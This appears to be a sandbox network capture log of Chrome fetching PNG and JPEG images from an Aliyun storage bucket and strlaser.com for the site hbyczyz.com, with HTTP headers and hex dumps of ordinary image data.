2024-09-27 03:51:02 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:02 GMT Content-Type: image/png Content-Length: 50794 Connection: close x-oss-request-id: 66F62BA6A3A9C6303822B214 Accept-Ranges: bytes ETag: "63E9BEE28BF323C05E1CA9D9ADDF836E" Last-Modified: Mon, 29 Jan 2024 03:33:30 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 16903952025899090638 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: Y+m+4ovzI8BeHKnZrd+Dbg== x-oss-server-time: 2
2024-09-27 03:51:02 UTC	15839	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 ee 00 00 01 2c 08 06 00 00 00 9c d5 36 e8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 05 c7 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 37 2e 32 2d 63 30 30 30 20 37 39 2e 35 36 36 65 62 63 35 62 34 2c 20 32 30 32 32 2f 30 35 2f 30 39 2d 30 38 3a 32 35 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 Data Ascii: PNGIHDR,6pHYsiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55 "> <rdf
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: a6 02 24 49 6b 5c bb 99 04 20 4e 51 18 96 b8 cb b4 a4 4b 8b 14 d8 e6 c6 1b d3 0d 83 79 4a 2b 06 07 04 85 a0 4c 2f ae 9c b2 ce d2 aa 22 d3 97 69 9a ed cc cf 2c 2b 41 a2 20 9f 1b 05 d2 1a 2e 85 29 27 10 5e 0f bb 44 c8 32 72 c2 a3 b0 34 7d 9a a5 25 bd 1f cc cd 5d 71 13 8b 5c 19 18 07 66 ff 30 15 d4 7e 60 19 e4 06 2e 4e fa 92 7c c9 be f4 f7 bf ff 3d eb 38 ce ae 79 af 6c 1f de 2f 97 97 65 3f 93 3e dd a6 5f 39 df 97 24 a6 86 cb 53 7d ac 86 ea b4 49 d1 71 9c ec fb ef bf 5f 33 7f 93 8a 84 24 b1 22 06 fb b7 4f 9f 3e 8d de 1f 89 b4 b4 a4 b1 5f 48 cb 99 7c b7 2f 5e bc c8 af ae ae 6e c8 0d b9 9c c0 25 e9 61 fb 50 d9 91 ca 95 52 2a 52 b8 e5 41 28 e3 20 9d 4e 57 df bc 79 73 c7 71 9c db 72 b5 41 1a 85 38 1e c2 09 78 23 08 82 3d 08 4b b7 49 d0 a5 32 28 27 c9 5e f2 b8 d9 Data Ascii: $Ik\ NQKyJ+L/"i,+A .)'^D2r4}%]q\f0~`.N\|=8yl/e?>_9$S}Iq_3$"O>_H\|/^n%aPR*RA( NWysqrA8x#=KI2('^
2024-09-27 03:51:02 UTC	16384	IN	Data Raw: 5b b3 24 d1 94 4b a5 a3 82 ef 55 0a 7d e0 a4 6f 49 d2 32 2a d1 e8 75 ff a4 16 47 b3 9e 14 e8 a3 86 ac 24 71 90 be e6 72 79 77 d4 15 06 00 bb be ef 7f 2b 27 e2 30 9d 7b 89 44 62 57 1e 02 c2 a8 0c cc 67 65 65 25 0a f5 c5 48 2b e1 e1 4d 23 15 e0 f0 f0 30 a7 b5 de a6 d2 f1 fa f5 eb ae 09 2f 9c d4 0f 2e 5e bc 58 95 cf 35 9b cd dc da da 1a 80 93 4d 7a 5c 81 60 5d 9e 3f 7f ae d7 d6 d6 a2 0d e2 32 74 1d 95 10 e6 13 04 c1 dd f3 e7 cf 17 e2 ca e8 79 5e 25 08 82 9b 32 22 85 dc a8 66 28 a0 fb 23 35 c0 78 d8 95 96 33 39 96 a4 1f 68 58 bf 6f 86 4d 34 ce ea 6e 8e df 59 b8 7c 8c 82 38 d2 ce 6b e9 32 07 a0 ea ce 30 24 a7 b0 6e d7 e3 fa 01 49 89 8c 56 36 0b 48 b7 53 be 1f d3 05 b4 17 18 1e 91 ee 32 af 5f bf c6 3b ef bc 83 73 e7 ce 01 00 65 f5 2d a5 d4 2d 49 38 69 ad e5 26 Data Ascii: [$KU}oI2*uG$qryw+'0{DbWgee%H+M#0/.^X5Mz\`]?2ty^%2"f(#5x39hXoM4nY\|8k20$nIV6HS2_;se--I8i&
2024-09-27 03:51:02 UTC	2187	IN	Data Raw: c0 22 c8 ee 2c 39 91 25 ee f3 01 0d 18 0b 6d ef 79 6d 10 a2 d0 77 31 79 44 81 5f 8b 7f ec b8 e8 e5 8b 3e ee 2e 74 5a 6e 27 5d d2 1e 97 b8 cf 6a 72 9f 64 63 f6 22 31 8a d5 7d d6 07 32 4d a2 40 2f 5c f8 59 8c 05 ee 6b a2 12 39 c9 1c 62 65 f9 db 8d 65 56 cc 16 5d 36 c9 89 26 25 f0 cb ac 20 2d 1a 1e 7a cf 33 e3 72 d1 64 9f 34 e7 82 79 bf f0 69 c4 3d b5 9d b4 3f 34 4e 84 82 fc 6b 63 7c a2 35 8d a5 bd 71 3b fa 2c 22 50 4c 62 2d 5c f4 6a cf 38 11 66 66 55 e6 49 36 2e d9 78 f3 67 1b 32 34 f0 a4 ae 70 16 6f 27 16 4d 8e fb 61 9c 68 37 b3 c0 34 38 91 95 a3 bd d1 8b 0f f9 18 bf cd b9 8f 73 61 58 44 c7 a5 c5 66 5c 61 6f 3b e9 f8 18 77 53 05 37 d7 4c 82 49 c8 e3 2c 88 fb b8 58 06 2b f1 28 51 04 66 1d 32 6c 12 85 cc c6 21 3e fb a0 51 60 5c 58 79 fe 76 e2 2c 28 e6 cb 14 Data Ascii: ",9%mymw1yD_>.tZn']jrdc"1}2M@/\Yk9beeV]6&% -z3rd4yi=?4Nkc\|5q;,"PLb-\j8ffUI6.xg24po'Mah748saXDf\ao;wS7LI,X+(Qf2l!>Q`\Xyv,(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	49880	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	659	OUT	GET /sichuang/images/2023/05/30/image_1685440853_TBImGD7B.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:03 UTC	543	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 4917 Connection: close x-oss-request-id: 66F62BA77F9C7933362B2C1E Accept-Ranges: bytes ETag: "B7A0B01F8DC51313532E8F9EC14CF71C" Last-Modified: Mon, 29 Jan 2024 03:33:32 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 1567414381201067109 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: t6CwH43FExNTLo+ewUz3HA== x-oss-server-time: 1
2024-09-27 03:51:03 UTC	4917	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6e 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRxx9d6tEXtSoftwareAdobe ImageReadyqe<niTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.5	49882	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	659	OUT	GET /sichuang/images/2023/06/14/image_1686733404_H4b8ovTI.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:03 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 130048 Connection: close x-oss-request-id: 66F62BA78915C631383B4FE0 Accept-Ranges: bytes ETag: "EF7682A94A3E14ABFFFBFE7EC96269F8" Last-Modified: Mon, 29 Jan 2024 03:33:31 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 15442117614716143524 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 73aCqUo+FKv/+/5+yWJp+A== x-oss-server-time: 2
2024-09-27 03:51:03 UTC	15838	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e4 00 00 02 62 08 06 00 00 00 8f 4d d7 a0 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRbMtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-09-27 03:51:03 UTC	16384	IN	Data Raw: 4d e9 a5 b1 bb 33 f8 3c b9 28 35 7c 64 51 0f 70 e6 fb 9d 03 54 54 8f 7c 46 d1 32 b3 af 49 ca 9f 97 99 c5 72 66 19 2c 48 c8 f2 bd 7b 4e be 53 fa 5e 6f df 9e 23 ed 59 ea 3d c9 ea 99 54 e2 53 7f 4e 30 c2 ec 7c 17 87 41 a3 3f 7e c0 c9 83 a6 ac 2b 4b b5 b7 6d 96 4e ee 2d c4 f2 b6 9c ee 13 e4 64 29 39 e8 2c 7b 1a 31 38 8d 32 1c 85 17 cb 4e 29 ed 04 c0 e6 de d6 4c 50 2c 9d a7 10 fd bb f9 ee 9b 17 cc 3f 94 18 8f ba ae 96 2d 2f 7c 8f 38 b1 54 d4 ca 2c ee 88 f0 9a 8d fd ca fd eb ae bd 3b b3 d4 90 33 ee b2 9b 2c 85 21 ad dc c7 15 de 72 a0 76 38 ad 84 27 8d f1 83 42 0e ba c1 ca 35 fe 44 be f1 90 69 85 7e 3d 31 f5 78 0e 6f 6c 07 d0 f9 84 ee df 7f a3 16 e3 d3 d9 a4 76 67 e9 f5 fa b5 47 ba 15 e3 56 94 df b9 f3 11 32 dd e1 4f 3c ac 00 80 20 07 e0 9d e5 62 b7 e7 a7 af 27 Data Ascii: M3<(5\|dQpTT\|F2Irf,H{NS^o#Y=TSN0\|A?~+KmN-d)9,{182N)LP,?-/\|8T,;3,!rv8'B5Di~=1xolvgGV2O< b'
2024-09-27 03:51:03 UTC	16384	IN	Data Raw: 58 fe a2 ba b6 45 3b bf 10 c8 50 26 30 11 ef eb 79 6b 54 ea 1e 13 3f 31 89 13 a5 2e 90 2c f4 2a 7d 37 cb 3c 45 29 d2 98 5c 4e 04 3a 63 68 b5 3a 70 fa f8 91 af c3 3e 24 75 be ea 19 f2 6f 3c 7e f1 af 1f ff ce f7 df b9 d2 a8 6a 07 fe 58 44 a0 98 e8 50 29 15 05 38 2f 12 40 c7 df bb 08 b0 c7 1e 34 c5 e7 8e 1c 59 ff d3 e3 47 0f fc cb 7c a1 50 da 6d f5 3e b4 bd bb f7 be 56 ab 77 b4 23 de 83 83 27 9f 67 62 90 88 8e 93 cb a9 5d 9e e9 93 e8 b2 b3 dd b3 b3 14 ba 75 63 9e 45 4c 7f be 34 b9 87 1b cb 30 9d 54 21 2a 08 91 9c 00 25 dd 34 4b 03 40 2a 73 a2 56 5f 73 7d 0e af 2c b6 7a 9e be c5 55 c5 e7 4b ce d4 2e 0a 98 e9 58 58 3d f3 65 03 ea 7e 9b 25 df 93 ee 4f 2d 6b c2 e3 8b f5 bc 80 d2 cd f5 43 76 72 c9 be 15 ac 7e 57 7c 6b 90 69 ee 79 da 56 59 59 48 d9 29 c7 ed 9e a5 Data Ascii: XE;P&0ykT?1.,}7<E)\N:ch:p>$uo<~jXDP)8/@4YG\|Pm>Vw#'gb]ucEL40T!%4K@*sV_s},zUK.XX=e~%O-kCvr~W\|kiyVYYH)
2024-09-27 03:51:03 UTC	16384	IN	Data Raw: 1f 17 0a b9 cf 2d 51 e2 12 90 df b1 63 eb c8 c1 cb 9f ff d2 d7 e0 d1 af fe 35 ac ae 6c c0 8d ab 2f c2 eb 5e ff 96 dd 37 bf f5 ed 9d a7 9f 7d fe 68 a9 c8 a1 10 24 30 66 e3 4a f9 7c b6 b0 29 2b 07 4b 61 2d ad 34 1c 33 44 0c ae 85 09 b5 0b aa fa 41 2f 38 a5 af 33 e7 d0 17 91 37 e9 cc bb 7d 02 e6 b5 2a 26 80 16 e8 7d a8 51 1b a1 6d a2 88 f8 73 81 36 90 12 6d 99 3f 89 e7 f2 2c d2 ca 6d 6e 1c 84 4b 2f fc 00 6e df ba 49 20 fc cc 99 73 e4 41 8b da 43 ae 5d 24 b8 f3 34 25 b7 d7 2c 84 8b 5c 8c 8e 59 c0 32 d3 60 34 93 ef 49 dc 92 91 33 3d 60 66 8e d5 b7 95 6a e2 b6 2d f4 b4 ca 9c 4c 06 c1 49 30 33 05 28 cc 81 ca 32 94 44 75 1a 32 5c 7f bd f1 1b 8b 1a 99 19 82 50 8d f0 5c 79 76 5c c3 8a a6 95 62 97 ef d9 10 29 29 f7 9c 96 26 69 a1 ca b9 8e 56 37 f9 db 9b 76 8e 1c 34 Data Ascii: -Qc5l/^7}h$0fJ\|)+Ka-43DA/837}*&}Qms6m?,mnK/nI sAC]$4%,\Y2`4I3=`fj-LI03(2Du2\P\yv\b))&iV7v4
2024-09-27 03:51:03 UTC	16384	IN	Data Raw: c2 c1 31 71 8d 79 34 b8 11 1f c5 8e 1a 8b 04 7b fd 0e 5c 7c f1 45 38 7e 6c 95 06 1b ac 90 a7 82 4e 94 65 b8 32 6d 0e 46 4c d9 fe 31 78 e0 81 87 e1 1f 3e fb 14 b9 c1 94 2b 55 ea 90 51 ea c1 c8 ca cf 91 e0 d5 0c 2c cc 3a 46 cd 34 4b 9b c2 72 45 ea e6 d1 81 05 3f bb a4 80 a7 eb 04 81 3a ae 23 b7 89 c5 90 e6 f8 f0 71 b7 1c 89 7f 0e c0 35 b7 0a a6 f4 84 00 42 80 1c ac 89 8e 65 b1 05 3c c4 3c 71 2b 6b 9c c6 0a 1c a8 99 0e f0 60 04 d4 1d 5f 05 0b 31 15 6d 4d 83 b3 af d8 73 97 40 81 43 00 dd 33 03 47 a5 52 a6 6d 6e de de 84 ad 9d 6d 68 4e 4d 4b d6 7c 56 e9 cc 91 2d 1f 4b 50 8e 3f 26 68 a8 e4 d2 8d 42 72 a0 1c cb bb 77 8b 4d 65 13 c0 69 bc e8 0a 76 09 d2 92 40 b9 06 a9 71 70 c9 23 ce 13 e9 d2 8c 38 ec 4c 63 74 79 64 e2 c0 62 13 dd f8 f1 a7 43 da b4 73 c5 32 a6 c8 Data Ascii: 1qy4{\\|E8~lNe2mFL1x>+UQ,:F4KrE?:#q5Be<<q+k`_1mMs@C3GRmnmhNMK\|V-KP?&hBrwMeiv@qp#8LctydbCs2
2024-09-27 03:51:03 UTC	16384	IN	Data Raw: 29 d6 5c b4 fe 88 c3 60 3c 22 40 5e 55 ce 2c 0e 4d 36 5c e9 69 8e 40 74 30 84 f1 88 59 d2 1e 37 a8 4f c8 c6 68 a9 49 8c bb 39 a6 5d 9e 81 09 38 94 4f 98 44 04 10 2f 9a ac a9 a5 29 58 a3 30 1c 4a 1f 76 94 36 ed 5f dc 07 0b 8b cb 74 cf 62 c1 32 57 72 16 fb bb 30 49 2e c9 76 75 c4 2c 39 08 68 0f ee 2a c1 bb 5d 82 cb 2e f4 a1 42 e9 9a 1d ea 0b 7c 5e 86 14 fd 48 e2 e7 93 1e 9c 9c 53 1a 04 c4 f1 37 f6 1b ae d6 88 27 48 6c e2 06 29 cc 9a 54 c7 19 6e 96 e0 c3 ce 92 b4 5b 56 dd 87 3e ff 14 ec 23 26 4a 1b 9b 9b f4 dc 89 95 c3 5f bc ef f4 f1 27 6a b5 d2 9f 14 a3 47 d1 8a 56 00 f2 a2 15 ed 5e 00 f3 a7 4e ae 36 7e 50 00 f3 37 5f ba da fb 17 97 af 75 7f a0 45 ae 2c 92 31 e7 09 96 d0 c6 f0 10 ad 05 a9 62 91 87 e4 2a 06 86 da af 4f aa 9d 62 2c c6 4c d9 ac 16 da e7 dd ba Data Ascii: )\`<"@^U,M6\i@t0Y7OhI9]8OD/)X0Jv6_tb2Wr0I.vu,9h].B\|^HS7'Hl)Tn[V>#&J_'jGV^N6~P7_uE,1bOb,L
2024-09-27 03:51:03 UTC	16384	IN	Data Raw: 53 1f 1f 19 9f 1d d8 8c a6 64 95 bb 54 aa 5b 70 b8 80 f2 f5 15 0d ff f2 cd 7f c4 83 3f b9 5f 66 8c 53 65 b8 b6 ae 4e ef 38 49 96 17 c3 9e 42 55 e2 f6 f6 0e 99 3b 4e 5d 3a 6b 6b eb a5 95 c5 e3 71 cb 01 9d 0d 4d bb 91 ce 6a d0 04 90 53 47 4e d3 aa ad 18 d5 66 d5 b0 a8 a8 16 08 b7 62 b4 b5 53 bd 7e 5b b3 6d 6f af 95 00 b4 75 59 19 98 db c1 7a 91 53 bc b0 2d d3 cb be 11 d9 c4 fa fa 3a 6a ab ab 71 c3 2d 37 fe f3 de ee f6 7b c5 e2 61 3e ba 58 2c 16 8b 81 9c c5 62 b1 76 ac fa ba aa bf 7d f5 ed 07 fe b6 7f 7f c7 7f 3e 71 7a e2 63 39 4d 3b 54 86 a8 82 42 dd 82 d3 3f f1 07 7f 88 7f ff d6 df ca 41 96 bb bb bb d1 d4 d2 8c 54 2a 25 99 95 40 dc eb f3 21 18 08 c1 ef f5 a1 ae ae 51 c2 78 28 54 8d 40 20 20 3d d5 4e a7 1b 55 35 ed 38 70 fd ad 72 d0 23 7e a0 49 5b 8b 9e 87 Data Ascii: SdT[p?_fSeN8IBU;N]:kkqMjSGNfbS~[mouYzS-:jq-7{a>X,bv}>qzc9M;TB?AT*%@!Qx(T@ =NU58pr#~I[
2024-09-27 03:51:03 UTC	15906	IN	Data Raw: 70 07 de 7d e7 0d 58 59 3d 02 c7 4f 9c d6 db c5 96 9c d4 a4 d3 88 58 69 6c 60 2a e6 1a cf 71 01 46 50 c3 00 c8 5f 7e a0 cf b7 01 db 58 18 cc 9d f3 60 c2 0c 02 da 7a 93 c8 e2 69 e8 c5 6d 08 b0 85 9c 61 1e 52 54 a2 87 36 91 25 a7 5b 90 3a ec 9c c9 39 7f 54 3c 93 36 79 b6 99 17 90 df 15 29 f9 89 e6 5c 80 1a 61 a3 31 07 b5 5a 0d 77 76 f7 e0 3b 97 af 34 4e 1c 5d ab 3e 7f 89 c1 5c fc e5 22 91 48 80 5c 24 fa 29 07 f1 1a 81 f8 cd 3b eb 3e d9 0d e6 ea 66 b2 26 79 61 c3 6c 57 1f b7 e4 89 38 b1 f1 0c c6 f7 1d 66 16 50 63 99 83 e3 38 83 30 c5 61 fe e4 5b 1f fb 6c 20 53 3b 76 6e 4f a5 2e e6 c2 e1 c4 db e2 ad 08 4d 02 1e c1 f8 dc c2 12 7b af b9 41 d0 a0 3f 65 e5 dc 75 cc e1 4a cf 63 cf f8 c6 83 5b 30 57 ad 42 b9 5a 87 95 95 a3 f0 c5 e7 7f 16 ae be f3 3a 6c 3c bc 07 cb Data Ascii: p}XY=OXil`*qFP_~X`zimaRT6%[:9T<6y)\a1Zwv;4N]>\"H\$);>f&yalW8fPc80a[l S;vnO.M{A?euJc[0WBZ:l<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.5	49881	47.108.5.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	659	OUT	GET /sichuang/images/2023/05/30/image_1685440861_xcgiSSbO.png HTTP/1.1 Host: website-ishutime.oss-cn-chengdu.aliyuncs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:03 UTC	544	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Fri, 27 Sep 2024 03:51:03 GMT Content-Type: image/png Content-Length: 13803 Connection: close x-oss-request-id: 66F62BA78915C63334404FE0 Accept-Ranges: bytes ETag: "0808A525D216F85706B063609AEF611E" Last-Modified: Mon, 29 Jan 2024 03:33:32 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9843300198112892736 x-oss-storage-class: Standard x-oss-ec: 0048-00000101 Content-Disposition: attachment x-oss-force-download: true Content-MD5: CAilJdIW+FcGsGNgmu9hHg== x-oss-server-time: 2
2024-09-27 03:51:03 UTC	13803	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 78 00 00 00 78 08 06 00 00 00 39 64 36 d2 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 6e 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDRxx9d6tEXtSoftwareAdobe ImageReadyqe<niTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.5	49883	211.149.140.201	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:51:03 UTC	609	OUT	GET /resources/assets/images/about3.jpg HTTP/1.1 Host: www.strlaser.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:51:04 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:51:12 GMT Content-Type: image/jpeg Content-Length: 38671 Last-Modified: Wed, 15 Mar 2023 02:52:28 GMT Connection: close ETag: "641132ec-970f" Expires: Sun, 27 Oct 2024 03:51:12 GMT Cache-Control: max-age=2592000 Strict-Transport-Security: max-age=31536000 Accept-Ranges: bytes
2024-09-27 03:51:04 UTC	16037	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 50 00 00 ff e1 03 2f 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*DuckyP/http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 "> <rdf:RDF xm
